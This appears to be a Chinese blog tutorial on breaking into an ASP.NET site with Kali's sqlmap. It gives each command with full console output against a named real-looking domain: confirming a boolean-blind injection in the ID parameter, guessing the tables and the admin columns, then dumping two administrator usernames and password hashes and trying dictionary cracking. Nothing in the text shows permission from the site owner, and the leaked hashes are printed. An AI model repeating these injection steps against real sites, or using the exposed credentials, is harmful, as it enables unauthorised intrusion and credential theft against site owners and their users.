通过kali渗透ASP网站

发表于 | 分类于 | 评论数：

通过kali渗透ASP网站

  • 1.打开终端输入

    sqlmap -u "网址"

————————————————————————————————————————————————————————————————————————————————————————
root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201707310a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:31:49

[10:31:50] [INFO] testing connection to the target URL
[10:31:52] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:31:56] [INFO] testing if the target URL is stable
[10:31:59] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[10:32:33] [INFO] testing if GET parameter 'ID' is dynamic
[10:32:33] [INFO] confirming that GET parameter 'ID' is dynamic
[10:32:33] [INFO] GET parameter 'ID' is dynamic
[10:32:37] [INFO] heuristic (basic) test shows that GET parameter 'ID' might be injectable
[10:32:37] [INFO] testing for SQL injection on GET parameter 'ID'
[10:32:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:32:38] [WARNING] reflective value(s) found and filtering out
[10:32:42] [INFO] GET parameter 'ID' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[10:32:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[10:32:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:32:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:32:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:32:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[10:32:44] [INFO] testing 'MySQL inline queries'
[10:32:44] [INFO] testing 'PostgreSQL inline queries'
[10:32:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:32:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[10:32:45] [WARNING] time-based comparison requires larger statistical model, please wait............
[10:33:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[10:33:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:33:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:33:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:33:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[10:33:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:33:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:33:22] [INFO] testing 'Oracle AND time-based blind'
[10:33:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:33:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[10:33:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:33:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:33:44] [INFO] checking if the injection point on GET parameter 'ID' is a false positive
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3239 AND 1305=1305
---
[10:37:45] [INFO] testing MySQL
[10:37:46] [WARNING] the back-end DBMS is not MySQL
[10:37:46] [INFO] testing Oracle
[10:37:47] [WARNING] the back-end DBMS is not Oracle
[10:37:47] [INFO] testing PostgreSQL
[10:37:47] [WARNING] the back-end DBMS is not PostgreSQL
[10:37:47] [INFO] testing Microsoft SQL Server
[10:37:48] [WARNING] the back-end DBMS is not Microsoft SQL Server
[10:37:48] [INFO] testing SQLite
[10:37:48] [WARNING] the back-end DBMS is not SQLite
[10:37:48] [INFO] testing Microsoft Access
[10:37:51] [INFO] confirming Microsoft Access
[10:37:53] [INFO] the back-end DBMS is Microsoft Access
 ------------------------------------------------------------------------------------
|    web server operating system: Windows 2003 or XP                                 |
|    web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727       |
|    back-end DBMS: Microsoft Access                                                 |
 ------------------------------------------------------------------------------------
[10:37:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 67 times
[10:37:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/40.cavtc.cn'

[*] shutting down at 10:37:53

#### 如果有漏洞会返回数据库相关信息

  • 2.猜解表名

    sqlmap -u "网址" --tables

root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201707310a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:41:45

[10:41:45] [INFO] resuming back-end DBMS 'microsoft access' 
[10:41:47] [INFO] testing connection to the target URL
[10:41:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3239 AND 1305=1305
---
[10:41:52] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[10:41:52] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[10:41:52] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[10:41:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:41:52] [INFO] retrieved: 
[10:41:53] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' 
[10:41:53] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[10:41:53] [ERROR] cannot retrieve table names, back-end DBMS is Access

do you want to use common table existence check? [Y/n/q] y   //   此处默认选y

[10:41:59] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[10:41:59] [INFO] adding words used on web page to the check list

please enter number of threads? [Enter for 1 (current)] 10     //    线程设置为10即可

[10:42:06] [INFO] starting 10 threads
[10:42:12] [INFO] retrieved: admin                                                                                                         
[10:42:13] [INFO] retrieved: news                                                                                                          
[10:42:38] [INFO] retrieved: ads                                                                                                           

Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| admin |
| ads   |
| news  |
+-------+

[10:45:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3144 times
[10:45:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/40.cavtc.cn'

[*] shutting down at 10:45:43

    根据经验确定用户名（username，password）

  • 3.猜解列名（字段）

    sqlmap -u "网址" --columns -T "表名（上一步确定的）"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --columns -T "admin"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201707310a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:07:47

[11:07:48] [INFO] resuming back-end DBMS 'microsoft access' 
[11:07:48] [INFO] testing connection to the target URL
[11:07:50] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3239 AND 1305=1305
---
[11:07:53] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[11:07:53] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q] y
[11:08:00] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' 
[11:08:00] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[11:08:00] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 20
[11:08:02] [CRITICAL] maximum number of used threads is 10 avoiding potential connection issues
please enter number of threads? [Enter for 1 (current)] 10
[11:08:05] [INFO] starting 10 threads
[11:08:07] [INFO] retrieved: id                                                                                                            
[11:08:09] [INFO] retrieved: username                                                                                                      
[11:08:19] [INFO] retrieved: password                                                                                                      
[11:08:36] [INFO] retrieved: department                                                                                                    
[11:10:51] [INFO] retrieved: classid                                                                                                       
                                                                                                                                           
Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| classid    | numeric     |
| department | non-numeric |
| id         | numeric     |
| password   | non-numeric |
| username   | non-numeric |
+------------+-------------+

[11:11:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2499 times
[11:11:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/40.cavtc.cn'

[*] shutting down at 11:11:11
#### --columns  猜列名 根据表  “表名”
#### 一般会出现username，那么密码字段一定是password

  • 4.下载数据

    sqlmap -u "网址" --dump -C "username,password" -T "user"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --dump -C "username,password"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201707310a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:13:17

[11:13:17] [INFO] resuming back-end DBMS 'microsoft access' 
[11:13:17] [INFO] testing connection to the target URL
[11:13:19] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=3239 AND 1305=1305
---
[11:13:22] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[11:13:22] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[11:13:22] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[11:13:22] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:13:22] [INFO] retrieved: 
[11:13:24] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' 
[11:13:24] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[11:13:24] [ERROR] cannot retrieve table names, back-end DBMS is Access
[11:13:24] [ERROR] cannot retrieve column names, back-end DBMS is Access
[11:13:24] [INFO] fetching entries of column(s) 'classid, department, id, password, username' for table 'admin' in database 'Microsoft_Access_masterdb'
[11:13:24] [INFO] fetching number of column(s) 'classid, department, id, password, username' entries for table 'admin' in database 'Microsoft_Access_masterdb'
[11:13:24] [INFO] retrieved: 2
[11:13:31] [INFO] fetching number of distinct values for column 'id'
[11:13:31] [INFO] retrieved: 2
[11:13:38] [INFO] using column 'id' as a pivot for retrieving row data
[11:13:38] [INFO] retrieved: 19
[11:13:58] [INFO] retrieved: 1
[11:14:08] [INFO] retrieved: 47CC749B63858A2CE72379B371ECFE33
[11:19:28] [INFO] retrieved: admin
[11:20:42] [INFO] retrieved: 
[11:21:58] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request(s)
 Q~\xdc
[11:24:50] [INFO] retrieved: 25
[11:25:14] [INFO] retrieved: 2
[11:25:28] [INFO] retrieved: 93EA4D217C79428D
[11:28:17] [INFO] retrieved: xqb
[11:28:56] [INFO] retrieved:  Q~\xdc
[11:31:29] [INFO] analyzing table dump for possible password hashes
[11:31:29] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[11:31:43] [INFO] writing hashes to a temporary file '/tmp/sqlmap1qoJgX17098/sqlmaphashes-NipaiC.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[11:31:51] [INFO] using hash method 'md5_generic_passwd'
[11:31:51] [INFO] using hash method 'mysql_old_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[11:32:01] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[11:32:11] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[11:32:11] [INFO] starting 4 processes 
[11:32:20] [INFO] using suffix '1'                                                                                                         
[11:32:30] [INFO] using suffix '123'                                                                                                       
[11:32:40] [INFO] using suffix '2'                                                                                                         
[11:32:49] [INFO] using suffix '12'                                                                                                        
[11:32:59] [INFO] using suffix '3'                                                                                                         
[11:33:08] [INFO] using suffix '13'                                                                                                        
[11:33:18] [INFO] using suffix '7'                                                                                                         
[11:33:28] [INFO] using suffix '11'                                                                                                        
[11:33:38] [INFO] using suffix '5'                                                                                                         
[11:33:47] [INFO] using suffix '22'                                                                                                        
[11:33:57] [INFO] using suffix '23'                                                                                                        
[11:34:06] [INFO] using suffix '01'                                                                                                        
[11:34:16] [INFO] using suffix '4'                                                                                                         
[11:34:26] [INFO] using suffix '07'                                                                                                        
[11:34:36] [INFO] using suffix '21'                                                                                                        
[11:34:46] [INFO] using suffix '14'                                                                                                        
[11:34:55] [INFO] using suffix '10'                                                                                                        
[11:35:05] [INFO] using suffix '06'                                                                                                        
[11:35:14] [INFO] using suffix '08'                                                                                                        
[11:35:24] [INFO] using suffix '8'                                                                                                         
[11:35:34] [INFO] using suffix '15'                                                                                                        
[11:35:44] [INFO] using suffix '69'                                                                                                        
[11:35:54] [INFO] using suffix '16'                                                                                                        
[11:36:03] [INFO] using suffix '6'                                                                                                         
[11:36:13] [INFO] using suffix '18'                                                                                                        
[11:36:22] [INFO] using suffix '!'                                                                                                         
[11:36:32] [INFO] using suffix '.'                                                                                                         
[11:36:43] [INFO] using suffix '*'                                                                                                         
[11:36:52] [INFO] using suffix '!!'                                                                                                        
[11:37:02] [INFO] using suffix '?'                                                                                                         
[11:37:13] [INFO] using suffix ';'                                                                                                         
[11:37:23] [INFO] using suffix '..'                                                                                                        
[11:37:33] [INFO] using suffix '!!!'                                                                                                       
[11:37:43] [INFO] using suffix ', '                                                                                                        
[11:37:53] [INFO] using suffix '@'                                                                                                         
[11:38:03] [INFO] starting dictionary-based cracking (mysql_old_passwd)                                                                    
[11:38:18] [INFO] using suffix '1'                                                                                                         
[11:38:35] [INFO] using suffix '123'                                                                                                       
[11:38:51] [INFO] using suffix '2'                                                                                                         
[11:39:07] [INFO] using suffix '12'                                                                                                        
[11:39:23] [INFO] using suffix '3'                                                                                                         
[11:39:38] [INFO] using suffix '13'                                                                                                        
[11:39:54] [INFO] using suffix '7'                                                                                                         
[11:40:10] [INFO] using suffix '11'                                                                                                        
[11:40:26] [INFO] using suffix '5'                                                                                                         
[11:40:41] [INFO] using suffix '22'                                                                                                        
[11:41:03] [INFO] using suffix '23'                                                                                                        
[11:41:24] [INFO] using suffix '01'                                                                                                        
[11:41:46] [INFO] using suffix '4'                                                                                                         
[11:42:07] [INFO] using suffix '07'                                                                                                        
[11:42:30] [INFO] using suffix '21'                                                                                                        
[11:42:52] [INFO] using suffix '14'                                                                                                        
[11:43:10] [INFO] using suffix '10'                                                                                                        
[11:43:32] [INFO] using suffix '06'                                                                                                        
[11:43:51] [INFO] using suffix '08'                                                                                                        
[11:44:07] [INFO] using suffix '8'                                                                                                         
[11:44:22] [INFO] using suffix '15'                                                                                                        
[11:44:37] [INFO] using suffix '69'                                                                                                        
[11:44:53] [INFO] using suffix '16'                                                                                                        
[11:45:10] [INFO] using suffix '6'                                                                                                         
[11:45:31] [INFO] using suffix '18'                                                                                                        
[11:45:56] [INFO] using suffix '!'                                                                                                         
[11:46:21] [INFO] using suffix '.'                                                                                                         
[11:46:46] [INFO] using suffix '*'                                                                                                         
[11:47:10] [INFO] using suffix '!!'                                                                                                        
[11:47:32] [INFO] using suffix '?'                                                                                                         
[11:47:54] [INFO] using suffix ';'                                                                                                         
[11:48:14] [INFO] using suffix '..'                                                                                                        
[11:48:35] [INFO] using suffix '!!!'                                                                                                       
[11:48:58] [INFO] using suffix ', '                                                                                                        
[11:49:18] [INFO] using suffix '@'                                                                                                         
[11:49:36] [WARNING] no clear password(s) found                                                                                            
[11:49:36] [INFO] postprocessing table dump
Database: Microsoft_Access_masterdb
Table: admin
[2 entries]
+----+---------+----------+------------+----------------------------------+
| id | classid | username | department | password                         |
+----+---------+----------+------------+----------------------------------+
| 19 | 1       | admin    | \x7fQ~\xdc | 47CC749B63858A2CE72379B371ECFE33 |
| 25 | 2       | xqb      | \x7fQ~\xdc | 93EA4D217C79428D                 |
+----+---------+----------+------------+----------------------------------+

[11:49:36] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file '/root/.sqlmap/output/40.cavtc.cn/dump/Microsoft_Access_masterdb/admin.csv'
[11:49:36] [ERROR] cannot retrieve column names, back-end DBMS is Access
[11:49:36] [INFO] fetching entries of column(s) 'password, username' for table 'news' in database 'Microsoft_Access_masterdb'
[11:49:36] [INFO] fetching number of column(s) 'password, username' entries for table 'news' in database 'Microsoft_Access_masterdb'
[11:49:36] [INFO] retrieved: 127
[11:49:56] [INFO] fetching number of distinct values for column 'password'
[11:49:56] [INFO] retrieved: 
[11:49:57] [INFO] fetching number of distinct values for column 'username'
[11:49:57] [INFO] retrieved: 
[11:49:58] [CRITICAL] all column name(s) provided are non-existent
[11:49:58] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 74 times

[*] shutting down at 11:49:58
#### --dump  下载数据
#### -C "username,password" -T "列名" （','是一种多列显示的方法）
  • 5.成功获得用户名与密码(cmd5解密)
-------------本文结束感谢您的阅读-------------
0%